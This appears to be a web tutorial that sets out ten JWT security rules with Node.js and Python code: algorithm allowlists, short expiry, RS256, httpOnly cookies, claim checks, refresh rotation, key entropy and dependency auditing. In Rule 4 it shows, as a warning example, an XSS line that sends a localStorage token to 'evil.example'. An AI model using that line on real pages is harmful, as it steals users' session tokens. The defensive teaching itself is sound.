JWT Security Best Practices —
10 Rules to Avoid Common Vulnerabilities
Short expiry, RS256, alg:none rejection, httpOnly cookies, refresh token rotation, claim validation — every rule that matters, with production-ready code.
JWT security best practices exist because the format is deceptively easy to get wrong: a token that looks valid can be forged, a payload that seems opaque is actually readable by anyone, and a library that "just works" may be skipping signature verification entirely. These ten rules cover every layer — algorithm choice, expiry, storage, claim validation, key entropy, and library hygiene — with concrete code for each one.
Rule 1: Always Validate the Algorithm — Reject alg:none
The JWT header contains an alg field. The specification permits a value of none, which means no signature is applied. Several well-known libraries in their early versions accepted alg:none tokens as fully valid — meaning an attacker could take any token, strip the signature, set "alg":"none" in the header, and the server would accept it as authentic without any knowledge of the signing secret.
The fix is one line: always pass an explicit algorithm allowlist when calling verify(). Never rely on whatever algorithm the token header claims to use.
const jwt = require('jsonwebtoken'); // ❌ No algorithms option — accepts alg:none tokens const payload = jwt.verify(token, process.env.JWT_SECRET);
const jwt = require('jsonwebtoken'); // ✅ Explicit allowlist — alg:none and RS256 will be rejected const payload = jwt.verify(token, process.env.JWT_SECRET, { algorithms: ['HS256'], // only HS256 is accepted }); // For RS256, pass the public key and restrict accordingly: const payload = jwt.verify(token, publicKey, { algorithms: ['RS256'], });
If you are using Python with PyJWT, the same principle applies — always pass algorithms=["HS256"] (or ["RS256"]) to jwt.decode(). Omitting it raised a deprecation warning in older versions and raises an error in PyJWT 2.x, but explicitly passing it is more defensive than relying on library defaults.
Rule 2: Use Short Expiry (exp) — 15 Minutes for Access Tokens
A JWT with a 24-hour or 7-day expiry is a session hijacking time bomb. Once issued, a JWT cannot be invalidated before its expiry unless you maintain server-side state — which defeats the stateless benefit. A stolen access token is valid for the entire duration of its exp window.
The standard pattern: 15 minutes for access tokens, 7 days for refresh tokens. The access token handles API authorization; the refresh token handles silent renewal. When the access token expires, the client silently exchanges the refresh token for a new pair without asking the user to log in again.
const jwt = require('jsonwebtoken'); function issueTokens(userId, role) { const accessToken = jwt.sign( { sub: userId, role }, process.env.ACCESS_SECRET, { algorithm: 'HS256', expiresIn: '15m' } // ✅ short ); const refreshToken = jwt.sign( { sub: userId, jti: generateId() }, // jti for revocation process.env.REFRESH_SECRET, { algorithm: 'HS256', expiresIn: '7d' } ); return { accessToken, refreshToken }; }
- Expiry: 15 minutes
- Stolen token window: 15 minutes max
- Sent on: every API request
- Storage: memory or httpOnly cookie
- Expiry: 7 days
- Sent on: only to
/auth/refresh - Storage: httpOnly cookie only
- Revocable: yes, via server-side table
Rule 3: Use RS256 for Distributed Systems, HS256 for Single-Server
HS256 (HMAC-SHA256) uses one shared secret for both signing and verification. That secret must be distributed to every service that validates tokens — which means every microservice holds a secret that can mint tokens on behalf of your entire authentication system. Compromise any one microservice and an attacker can forge tokens for any user.
RS256 uses a private/public key pair. Only the authentication service holds the private key. Every other service holds only the public key, which can only verify — never sign. Public keys can be distributed freely via a JWKS endpoint without security risk.
const fs = require('fs'); const jwt = require('jsonwebtoken'); // Auth service — holds the private key, signs tokens const privateKey = fs.readFileSync('./keys/private.pem'); function signToken(payload) { return jwt.sign(payload, privateKey, { algorithm: 'RS256', expiresIn: '15m', }); } // Any downstream service — holds only the public key, verifies tokens const publicKey = fs.readFileSync('./keys/public.pem'); function verifyToken(token) { return jwt.verify(token, publicKey, { algorithms: ['RS256'], // ✅ explicit allowlist still required }); } // Generate a 2048-bit RSA key pair (run once, store securely): // openssl genrsa -out private.pem 2048 // openssl rsa -in private.pem -pubout -out public.pem
Choose HS256 when you control a single application that both issues and verifies tokens and the secret never leaves that one process. Choose RS256 as soon as more than one independently deployed service needs to verify tokens.
Rule 4: Store Tokens in httpOnly Cookies, Not localStorage
localStorage is accessible to every line of JavaScript running on your page. A single reflected or stored XSS vulnerability — even one in a third-party analytics script you included — can exfiltrate every token stored there. The attacker's payload is as simple as fetch('https://evil.example/steal?t=' + localStorage.getItem('token')).
httpOnly cookies are completely inaccessible to JavaScript. The browser attaches them to requests automatically but no script can read them. Combine with Secure (HTTPS only) and SameSite=Strict to eliminate both XSS-based token theft and CSRF.
// ❌ Any XSS payload can read this localStorage.setItem('access_token', token); // Attacker's XSS payload steals it in one line: fetch(`https://evil.example/steal?t=${localStorage.getItem('access_token')}`);
// ✅ Set-Cookie response header — JavaScript cannot read this cookie res.cookie('access_token', accessToken, { httpOnly: true, // ← not accessible to document.cookie secure: true, // ← HTTPS only sameSite: 'Strict', // ← no cross-site request forgery maxAge: 15 * 60 * 1000, // 15 minutes in ms path: '/', }); // Resulting Set-Cookie header: // Set-Cookie: access_token=eyJ...; HttpOnly; Secure; SameSite=Strict; Max-Age=900; Path=/
The tradeoff: httpOnly cookies require CORS to be handled correctly for cross-origin SPAs, and you must implement CSRF protection (a synchronizer token or double-submit cookie). That is a worthwhile trade for the complete elimination of XSS-based token theft.
Rule 5: Validate iss (Issuer) and aud (Audience) Claims
Without issuer and audience validation, a token issued by one service can be accepted by another. Imagine a microservices architecture where your payment service issues a JWT scoped to billing operations. If your user-profile service does not check the aud claim, a compromised payment token could be replayed against the profile API — not because the signature is invalid, but because the profile service is accepting any valid JWT regardless of what it was intended for.
const jwt = require('jsonwebtoken'); // Sign — always include iss and aud const token = jwt.sign( { sub: userId, role: 'user', iss: 'https://auth.example.com', // who issued this aud: 'https://api.example.com', // who should accept it }, process.env.JWT_SECRET, { algorithm: 'HS256', expiresIn: '15m' } ); // Verify — reject tokens not issued by expected issuer or for wrong audience const payload = jwt.verify(token, process.env.JWT_SECRET, { algorithms: ['HS256'], issuer: 'https://auth.example.com', // ✅ checked automatically audience: 'https://api.example.com', // ✅ checked automatically }); // jsonwebtoken throws JsonWebTokenError if iss or aud mismatch
The same rules apply in Python. Pass audience="https://api.example.com" and issuer="https://auth.example.com" to jwt.decode() in PyJWT. The library raises InvalidAudienceError or InvalidIssuerError automatically on mismatch.
Rule 6: Rotate Refresh Tokens — Make Each One Single-Use
With static refresh tokens, a stolen token is valid until it expires (potentially 30 days). The server has no way to know a token was stolen because every use looks like a legitimate client request. Refresh token rotation converts each use into a detectable event.
The mechanism: each time the client exchanges a refresh token for a new access token, the server issues a new refresh token and immediately invalidates the old one. If an attacker steals a refresh token and uses it before the legitimate client does, the legitimate client's next renewal will fail — because its token is already used. A server that detects "a token from this token family was used after being rotated" can revoke the entire family as a theft signal.
const jwt = require('jsonwebtoken'); const db = require('./db'); const { v4: uuidv4 } = require('uuid'); async function rotateRefreshToken(incomingRefreshToken) { // 1. Verify signature and expiry let payload; try { payload = jwt.verify(incomingRefreshToken, process.env.REFRESH_SECRET, { algorithms: ['HS256'], }); } catch { throw new Error('Invalid refresh token'); } // 2. Check the token's jti is still in the valid-token table const stored = await db.findRefreshToken(payload.jti); if (!stored) { // Token already rotated — possible theft; revoke entire family await db.revokeTokenFamily(payload.family); throw new Error('Refresh token reuse detected'); } // 3. Invalidate the old token, issue a new pair await db.deleteRefreshToken(payload.jti); const newJti = uuidv4(); const newRefreshToken = jwt.sign( { sub: payload.sub, jti: newJti, family: payload.family }, process.env.REFRESH_SECRET, { algorithm: 'HS256', expiresIn: '7d' } ); await db.saveRefreshToken(newJti, payload.sub, payload.family); const newAccessToken = jwt.sign( { sub: payload.sub }, process.env.ACCESS_SECRET, { algorithm: 'HS256', expiresIn: '15m' } ); return { newAccessToken, newRefreshToken }; }
Rule 7: Never Put Sensitive Data in the Payload
This cannot be overstated: the JWT payload is Base64Url-encoded, not encrypted. The encoding is reversible by anyone — no key required. Every claim in the payload is visible to anyone who intercepts the token in transit, reads it from a log file, extracts it from a URL parameter, or executes an XSS payload against your application.
- Passwords or password hashes
- Social Security numbers or national ID numbers
- Credit card numbers or bank account details
- Encryption keys, API secrets, or private keys
- Health records, medical identifiers (HIPAA-regulated data)
- Any PII whose exposure would trigger regulatory notification requirements
sub— opaque user ID (UUID or integer, not email)roleorscope— authorization leveliat,exp— issued-at and expiry timestampsiss,aud— issuer and intended audiencejti— unique token ID for revocation tracking
If downstream services genuinely need user attributes like name or email for display purposes, add a separate user-info API endpoint. The token proves identity; the API delivers profile data. Do not conflate the two.
Rule 8: Use a Signing Key with Adequate Entropy
HS256 tokens can be brute-forced offline. An attacker who intercepts a token can run dictionary attacks against the signature — no server interaction required. A short or human-memorable secret provides almost no protection because the attacker can test millions of candidates per second on commodity hardware.
The NIST recommendation for HMAC keys matches the hash output length. For HS256 that means a minimum of 256 bits (32 bytes) of random entropy. For HS384 and HS512, use 384 and 512 bits respectively.
const { randomBytes } = require('node:crypto'); // 32 bytes = 256 bits — minimum for HS256 const secret = randomBytes(32).toString('hex'); console.log(secret); // e.g. "a3f1c2d9e4b7a8f0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4" // Store this in an environment variable, never in source code
import secrets # secrets.token_hex(32) gives 32 bytes = 256 bits of CSPRNG entropy secret = secrets.token_hex(32) print(secret) # Store in an environment variable — never hardcode it # You can also use the command line: # python3 -c "import secrets; print(secrets.token_hex(32))" # Or with openssl: # openssl rand -hex 32
Store the generated secret in an environment variable or a secrets manager (AWS Secrets Manager, HashiCorp Vault, GCP Secret Manager). Never commit signing secrets to source control — not even in a private repository.
Rule 9: Implement Token Revocation for Logout
Stateless JWTs have no built-in revocation. When a user logs out, the token remains cryptographically valid until its expiry. Three strategies address this; choose the one that matches your scale and latency requirements.
jti claim to a Redis set with a TTL matching the token's remaining lifetime. On every verify call, check the denylist before accepting the token. Immediate revocation with sub-millisecond Redis lookups.// On logout — add jti to Redis denylist const ttl = payload.exp - Math.floor(Date.now() / 1000); await redis.set(`jti:denylist:${payload.jti}`, 1, 'EX', ttl); // On verify — check denylist before trusting the token const revoked = await redis.exists(`jti:denylist:${payload.jti}`); if (revoked) throw new Error('Token has been revoked');
Rule 10: Pin Library Versions and Monitor CVEs
JWT security failures are not always in your code — they are frequently in the libraries you depend on. Several critical vulnerabilities in widely-used JWT libraries have been disclosed in recent years. Running unpinned or unaudited dependencies is a silent exposure.
A remote code execution vulnerability in jsonwebtoken versions before 9.0.0 when the secret is provided as a plain object. Fix: upgrade to jsonwebtoken@9.0.0 or later.
The python-jose library has had multiple issues with algorithm confusion and alg:none handling. The PyJWT library with strict mode enabled is the safer choice for Python projects.
# Node.js — check for known vulnerabilities npm audit --audit-level=moderate # Check current jsonwebtoken version and latest npm list jsonwebtoken npm show jsonwebtoken version # Python — pip-audit scans installed packages against PyPI advisory DB pip install pip-audit pip-audit # Pin your dependency exactly in package.json # "jsonwebtoken": "9.0.2" ← not "^9.0.0" (caret allows minor bumps) # GitHub: enable Dependabot alerts in your repo settings # → Settings → Security → Dependabot alerts → Enable
Subscribe to the GitHub Advisory Database for the packages you use. Set up Dependabot or Renovate to open PRs automatically when security patches are released. A patch that takes 30 minutes to merge is far cheaper than a breach investigation.
Quick Reference Summary
| Rule | What to do | Threat mitigated |
|---|---|---|
| 1 — Algorithm validation | Pass explicit algorithms allowlist to verify() |
alg:none token forgery |
| 2 — Short expiry | 15 min access / 7 day refresh | Session hijacking blast radius |
| 3 — RS256 for distributed | Asymmetric keys when multiple services verify | Shared secret compromise |
| 4 — httpOnly cookies | Never store in localStorage | XSS token theft |
| 5 — iss + aud validation | Verify issuer and audience on every token | Cross-service token replay |
| 6 — Refresh token rotation | Single-use refresh tokens with family revocation | Stolen refresh token reuse |
| 7 — No sensitive payload | IDs and roles only; look up PII server-side | Data exposure via interception or logs |
| 8 — 256-bit entropy key | Generate with CSPRNG; store in env var/vault | Offline brute-force of HS256 signature |
| 9 — Token revocation | JTI denylist in Redis or refresh token family table | Post-logout token reuse |
| 10 — Library CVE hygiene | Pin versions, run npm audit / pip-audit, Dependabot |
Known library vulnerabilities |
Inspect Your JWT Claims Instantly
Paste any JWT into the free decoder to see the algorithm, issuer, audience, expiry, and every claim in the payload — fully client-side, no server requests, nothing leaves your browser.
Open Free JWT Decoder →FAQ
What is the alg:none vulnerability in JWT? +
The JWT specification allows an algorithm value of none, meaning no signature is applied or checked. Some early library implementations accepted tokens with alg:none as valid, allowing an attacker to forge any token payload without knowing the signing secret. The fix is to always pass an explicit algorithm allowlist when calling your verification function — never let the token header dictate which algorithm to use.
Why should JWTs be stored in httpOnly cookies instead of localStorage? +
localStorage is accessible to every JavaScript script running on your page, including any injected by an XSS vulnerability or a compromised third-party dependency. An attacker who achieves XSS can read and exfiltrate tokens from localStorage with a single line of JavaScript. httpOnly cookies cannot be read by JavaScript at all — the browser attaches them to requests automatically but they are invisible to any script. Combined with SameSite=Strict and Secure, httpOnly cookies eliminate the most common token theft vector entirely.
How do rotating refresh tokens detect token theft? +
With refresh token rotation, every use of a refresh token immediately invalidates it and issues a new one. If an attacker steals a refresh token and uses it before the legitimate client does, the legitimate client's next renewal will fail — its token is already consumed. More importantly, when the server sees a token from an already-rotated token being presented again, it can treat that as a theft signal and revoke the entire token family, kicking out both the attacker and prompting the real user to log in again.
What data should never be stored in a JWT payload? +
The JWT payload is Base64Url-encoded, not encrypted — anyone who holds the token can decode and read every claim without any key. Never store passwords or password hashes, Social Security numbers, credit card or bank details, API secrets or encryption keys, or health records. Limit payload claims to opaque identifiers like user ID and role. Look up sensitive data server-side using those identifiers when a request arrives.